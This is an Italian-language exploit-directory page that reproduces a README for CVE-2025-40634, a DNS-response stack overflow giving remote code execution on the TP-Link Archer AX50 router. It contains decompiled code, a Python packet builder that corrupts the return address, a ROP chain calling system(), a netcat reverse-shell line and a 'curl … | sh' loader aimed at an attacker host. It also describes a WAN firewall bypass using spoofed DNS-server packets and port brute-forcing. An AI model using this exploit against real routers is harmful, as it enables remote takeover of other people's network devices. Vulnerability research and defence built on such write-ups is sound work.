Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-40634 — Exploit per il buffer overflow basato sullo stack trovato nel binario conn-indicator del router TP-Link Archer AX50 | Kitploit
Strumenti/GitHubGitHub/hacefresko/cve-2025-40634
Sicurezza Sistemi EmbeddedSicurezza IoTExploitFuzzingPenetration TestingSicurezza HardwareStrumento di Accesso RemotoBinary Exploitation
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

Exploit per il buffer overflow basato sullo stack trovato nel binario conn-indicator del router TP-Link Archer AX50

Vedi Repository
31810 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-40634

Il router TP-Link Archer AX50 è vulnerabile a uno stack-based buffer overflow nella versione del firmware 1.0.14 Build 20240108 rel.42655(4555), portando all'esecuzione remota di codice sia sul lato LAN che sul lato WAN. Questa vulnerabilità ha la stessa causa principale di CVE-2020-10881, scoperta dal team Flashback e ampiamente descritta nella loro serie di video a riguardo (vedi riferimenti). Tuttavia, il processo di sfruttamento differisce un po', quindi è stato necessario scrivere un nuovo exploit.

Causa principale

Questa vulnerabilità si verifica nel binario conn-indicator, che ha il compito di verificare se il router è connesso a Internet inviando periodicamente query DNS e ascoltando le relative risposte su una porta UDP casuale tra 32000 e 61000.

La funzione che riceve e processa per prima questi pacchetti di risposta DNS è TPDns_RecvAndResolve(), situata a 0x00405e3c. Quando riceve un pacchetto con recvfrom, questo viene memorizzato in buf, che ha una dimensione di 2960 byte. Poi verifica che il codice di ritorno sia corretto (RCODE == 0) e controlla i numeri di domande e risposte nel pacchetto (QDCOUNT e ANCOUNT). Per processare le risposte, chiama process_resolved_IP() e le passa un puntatore a buf, answer_ptr, che è un puntatore alla posizione delle risposte all'interno del pacchetto in buf, il numero di risposte (ANCOUNT) e altri flag:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]
                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

La funzione process_resolved_IP(), situata a 0x00405818, scorre ogni risposta e chiama DNS_answer_parser() per ciascuna di esse. Passa come argomenti lo stesso puntatore a buf, answer, che è un puntatore alla risposta corrente in fase di parsing all'interno del pacchetto originale in buf, e un puntatore a current_answer, che è un buffer di dimensione 256:

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

La funzione DNS_answer_parser(), situata a 0x004054e0, fa il parsing di ogni risposta individualmente, che consiste in un nome di dominio rappresentato come <len><domain><len><domain>.... Ad esempio, example.com verrebbe rappresentato come 7example3com. La funzione itera su ogni coppia di <len><domain> che costituisce il nome di dominio nella risposta e verifica che <len> sia minore di 63 (domain_name & 0xc0 != 0). Poi chiama memcpy e copia <len> byte di answer, corrispondenti a <domain>, in current_answer. Ripete il processo per la coppia successiva di <len><domain> nel nome di dominio.

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

Poiché current_answer è lungo solo 256 byte, è possibile per un attaccante inviare un pacchetto con una risposta contenente un nome di dominio abbastanza grande da mandare in overflow il buffer.

Sfruttamento

Il processo di sfruttamento è molto simile a quello spiegato dal team Flashback per CVE-2020-10881 nella loro serie di video a riguardo (vedi riferimenti), con alcune differenze chiave:

  1. Gli indirizzi non sono gli stessi
  2. Il codice non è esattamente lo stesso, quindi anche gli offset e la dimensione dello stack in alcuni momenti non erano gli stessi
  3. Mentre il primo e il terzo gadget ROP erano gli stessi (situati a indirizzi diversi), il secondo differisce per l'istruzione move, poiché ora il registro che viene spostato in $a2 come argomento count per memcpy() è $s1 invece di $s0.
  4. La variabile i in process_resolved_IP() viene caricata in $s5 invece che in $s8. Poi, quando viene confrontata con $v1, $v1 viene prelevato da $sp+616, che è molto lontano dal buffer andato in overflow, quindi lo stack doveva essere corrotto in una posizione ancora più lontana dalla risposta e dal comando.

Con questo in mente, spiegherò comunque l'intero processo.

Il binario conn-indicator ha NX abilitato e ASLR su tutto tranne che su se stesso:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

Quindi la strategia per sfruttare questa vulnerabilità è costruire una ROP chain con cui possiamo eseguire system() con il comando desiderato.

Per poter mandare in overflow il buffer e corrompere il registro $ra, un attaccante deve inviare una risposta DNS con una risposta contenente un nome di dominio abbastanza grande. Per quanto riguarda l'header DNS, l'unico requisito è che RCODE sia 0 e che ANCOUNT sia 1, poiché il pacchetto deve contenere una sola risposta. Ad esempio, il seguente pacchetto corrompe il registro $ra con 0x50505050:

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

Ora, poiché l'indirizzo del binario è sempre lo stesso in ogni esecuzione e dispone di un'area scrivibile, il piano è copiare lì il comando da eseguire e poi chiamare system() con quello. Per fare ciò, viene usata la seguente ROP chain:

  1. Questo gadget prepara gli argomenti per memcpy(). L'indirizzo del gadget successivo viene caricato in $ra. Poi, $s2 viene spostato in $v0. Questo contiene l'indirizzo dell'area scrivibile del binario in cui il comando verrà copiato, che sarà l'argomento dest per memcpy(). Poi, l'argomento count per memcpy viene caricato in $s1 da un indirizzo dello stack che controlliamo. Infine, salta al gadget successivo:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. Questo gadget continua a preparare gli argomenti per memcpy() e poi lo chiama. L'argomento dest per memcpy(), corrispondente all'area scrivibile del binario, che era in $v0, viene caricato in $a0 come primo parametro di memcpy(). A questo punto dell'esecuzione, $a1 punta alla fine della risposta nel pacchetto DNS, ovvero dove abbiamo inserito la stringa del comando, quindi non c'è bisogno di preparare il parametro src. Poi, $s1, che contiene il parametro count caricato nel gadget precedente, viene spostato in $a2 come terzo parametro per memcpy(). Infine, memcpy() viene chiamato e la stringa del comando viene copiata nell'area scrivibile del binario. Questo gadget si trova alla fine di , quindi ora l'esecuzione continua al suo interno. Lo stack deve essere ora predisposto affinché la funzione possa tornare correttamente. Per fare ciò, alcune variabili di questa funzione che vengono caricate dallo stack e da alcuni registri sono posizionate con cura nel payload, come , , e . Al ritorno, l'indirizzo di viene nuovamente prelevato dallo stack, in cui inseriamo l'indirizzo del gadget successivo per saltarci.
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. Questo gadget prepara l'argomento per system() e la chiama. A questo punto dell'esecuzione, $v0 contiene il valore di $s3, in cui abbiamo inserito l'indirizzo dell'area scrivibile del binario, che ora contiene il comando. Quindi, $v0 viene spostato in $a0. Poi, l'indirizzo di system(), che è importato nel binario, viene caricato dallo stack in $ra e system() viene chiamata, ottenendo l'esecuzione di codice.
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

Ora, la reverse shell da eseguire sul target, che esegue busybox, è la seguente:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

Tuttavia, il comando da eseguire deve essere meno di 62 caratteri e, poiché il file system è scrivibile solo in /tmp, era impossibile eseguire la reverse shell direttamente. Invece, è stato eseguito un loader: curl http://<attacker>:<port>/ | sh, che recupera la reverse shell dall'attaccante.

Ora, l'unica cosa rimasta è fare brute force sulla porta su cui conn-indicator è in ascolto, il che può essere facilmente automatizzato.

Fino a questo punto, questo exploit funzionerebbe solo sul lato LAN, poiché il lato WAN è protetto da firewall. Tuttavia, c'è un modo per aggirare questa restrizione. Affinché conn-indicator riceva le risposte DNS, il firewall consente i pacchetti che provengono dallo stesso IP delle query DNS inviate dal binario, cioè i pacchetti che provengono dal DNS che il router target sta utilizzando. Quindi, per bypassare il firewall, è sufficiente inviare pacchetti spoofati come se fossimo il server DNS, che se il target è in una rete locale sarà probabilmente qualcosa come 192.168.0.1, 192.168.1.1 o 10.0.0.1, e se il target è direttamente connesso a Internet, sarà probabilmente qualcosa come 8.8.8.8, 1.1.1.1 o altri server DNS comuni.

L'exploit completamente funzionante funziona sia per LAN che per WAN. La modalità LAN fa brute force su ogni porta da 32000 a 61000 e la modalità WAN fa brute force sulle stesse porte e su tutti i possibili IP DNS, che sono memorizzati nella SPOOF_LIST. Questa lista dovrebbe essere modificata in base alla conoscenza che l'attaccante ha del target; tuttavia, dato abbastanza tempo (minuti), dovrebbe coprire il 90% dei casi.

Riferimenti

  • Pagina ufficiale del TP-Link Archer AX50
  • Flashback Team - DNS Remote Code Execution: Trovare la vulnerabilità 👾 (Parte 1)
  • Flashback Team - DNS Remote Code Execution: Scrivere l'exploit 💣 (Parte 2)
Scarica lo strumento
  • Il file system è di sola lettura tranne che per /tmp, quindi tutte le scritture e letture devono essere fatte lì. Questo rende impossibile che la reverse shell sia più corta di 62 caratteri, quindi per distribuirla sul target deve essere servita da un web server e deve essere inviato al target un comando per scaricarla ed eseguirla.
  • process_resolved_IP()
    ANCOUNT
    param_4
    param_5
    i
    $ra